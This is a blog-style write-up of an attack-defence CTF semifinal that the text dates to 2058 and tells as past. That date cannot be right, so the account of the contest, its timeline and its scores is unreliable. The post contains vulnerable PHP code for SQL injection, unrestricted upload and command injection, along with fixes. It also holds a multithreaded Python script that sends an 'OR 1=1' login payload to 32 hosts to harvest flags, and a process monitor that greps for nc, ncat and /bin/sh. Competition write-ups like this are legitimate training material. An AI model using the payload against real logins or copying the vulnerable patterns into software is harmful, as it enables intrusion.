赛事背景 2058年”长城杯”网络数智安全大赛半决赛,AWD(Attack With Defense)模式,5小时攻防对抗。
比赛环境:
参赛队伍:32支
靶机系统:Ubuntu 20.04
服务数量:5个Web应用
加固时间:30分钟
赛前准备 工具清单 1 2 3 4 5 6 7 8 9 10 - AoiAWD (防御脚本) - Vulmap (漏洞扫描) - SQLMap (SQL注入) - BurpSuite (流量分析) - 批量提交flag脚本 - WAF规则自动部署 - 日志监控告警
队伍分工
防守组 (2人):加固服务、部署WAF、监控日志
进攻组 (2人):漏洞挖掘、批量攻击、提交flag
我的角色 :防守 + 漏洞分析
防御阶段 快速加固流程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/bin/bash cp -r /var/www/html /root/backup_$(date +%s)mysql -e "ALTER USER 'root'@'localhost' IDENTIFIED BY 'NewStrongPass123!'" iptables -A INPUT -p tcp --dport 80 -m string --string "union select" --algo bm -j DROP iptables -A INPUT -p tcp --dport 80 -m string --string "../" --algo bm -j DROP echo "disable_functions = system,exec,shell_exec,passthru,eval" >> /etc/php/7.4/apache2/php.inisystemctl restart apache2
发现的漏洞点 1. SQL注入(服务A) 位置: /login.php 第23行
1 2 3 $username = $_POST ['username' ];$sql = "SELECT * FROM users WHERE username='$username '" ;
修复方案:
1 2 3 $stmt = $pdo ->prepare ("SELECT * FROM users WHERE username=?" );$stmt ->execute ([$username ]);
2. 文件上传(服务B) 位置: /upload.php
1 2 3 4 if ($_FILES ['file' ]['type' ] == 'image/jpeg' ) { move_uploaded_file ($_FILES ['file' ]['tmp_name' ], "uploads/" . $_FILES ['file' ]['name' ]); }
修复:
1 2 3 4 5 6 7 8 9 $ext = strtolower (pathinfo ($_FILES ['file' ]['name' ], PATHINFO_EXTENSION));$allowed = ['jpg' , 'jpeg' , 'png' , 'gif' ];if (!in_array ($ext , $allowed )) { die ("Invalid file type" ); } $newname = md5 (uniqid ()) . '.' . $ext ;move_uploaded_file ($_FILES ['file' ]['tmp_name' ], "uploads/" . $newname );
3. 命令注入(服务C) 位置: /ping.php
1 2 3 $ip = $_GET ['ip' ];system ("ping -c 4 " . $ip );
修复:
1 2 3 4 5 6 if (!filter_var ($ip , FILTER_VALIDATE_IP)) { die ("Invalid IP" ); } $ip = escapeshellarg ($ip );system ("ping -c 4 " . $ip );
进攻阶段 批量扫描脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport concurrent.futuresteams = [f"10.0.{i} .2" for i in range (1 , 33 )] def exploit_sqli (ip ): try : payload = "admin' OR '1'='1" r = requests.post(f"http://{ip} /login.php" , data={'username' : payload, 'password' : 'x' }, timeout=3 ) if "flag{" in r.text: flag = r.text.split("flag{" )[1 ].split("}" )[0 ] print (f"[+] {ip} : flag{{{flag} }}" ) return f"flag{{{flag} }}" except : pass return None with concurrent.futures.ThreadPoolExecutor(max_workers=10 ) as executor: results = executor.map (exploit_sqli, teams) flags = [f for f in results if f] print (f"\n[*] 共获取 {len (flags)} 个flag" )
提交Flag自动化 1 2 3 4 5 6 7 8 9 #!/bin/bash while read flag; do curl -X POST http://scoreboard.ctf/submit \ -H "Authorization: Bearer $TOKEN " \ -d "flag=$flag " sleep 0.5 done < flags.txt
防御监控 实时日志分析 1 2 3 4 5 6 7 8 tail -f /var/log/apache2/access.log | grep -E "(union|select|\.\.\/|<?php)" watch -n 1 "netstat -ant | grep :80 | wc -l" inotifywait -m -r /var/www/html -e modify,create
告警脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 import osimport timeimport requestsWEBHOOK = "https://your-notification-webhook" while True : ps_output = os.popen("ps aux | grep -E '(nc|ncat|/bin/sh)'" ).read() if len (ps_output.split('\n' )) > 3 : requests.post(WEBHOOK, json={"text" : "⚠️ 发现异常进程!" }) time.sleep(5 )
比赛数据 时间轴
时间
事件
排名变化
14:00
比赛开始
-
14:30
完成基础加固
15 → 8
15:00
发现服务A SQL注入
8 → 5
16:00
被攻击导致失分
5 → 12
16:30
修复漏洞,开始反击
12 → 6
18:00
比赛结束
第6名
得分统计
防御分 :850分
攻击分 :1200分
总分 :2050分
经验总结 做得好的地方 ✅ 快速加固 - 30分钟内完成所有服务基础防护 ✅ 自动化攻击 - Python脚本批量获取flag ✅ 团队协作 - 分工明确,沟通高效
需要改进 ❌ 日志监控不足 - 未能及时发现被攻击 ❌ WAF规则太简单 - 容易被绕过 ❌ 应急响应慢 - 发现被攻击后10分钟才修复
技术收获
AWD防御思路 :先备份 → 改密码 → 关危险函数 → 打补丁
批量攻击技巧 :多线程 + 超时控制 + 异常处理
流量分析能力 :通过日志快速定位攻击来源
工具分享 比赛中使用的脚本已开源: 🔗 GitHub: AWD-Scripts
内容包括:
自动加固脚本
批量扫描工具
Flag提交脚本
日志监控告警
下一步计划
参赛感悟: AWD不仅是技术的较量,更是团队配合和应急响应能力的考验。感谢队友的信任和支持,继续加油!💪
文章首发于个人博客,转载请注明出处。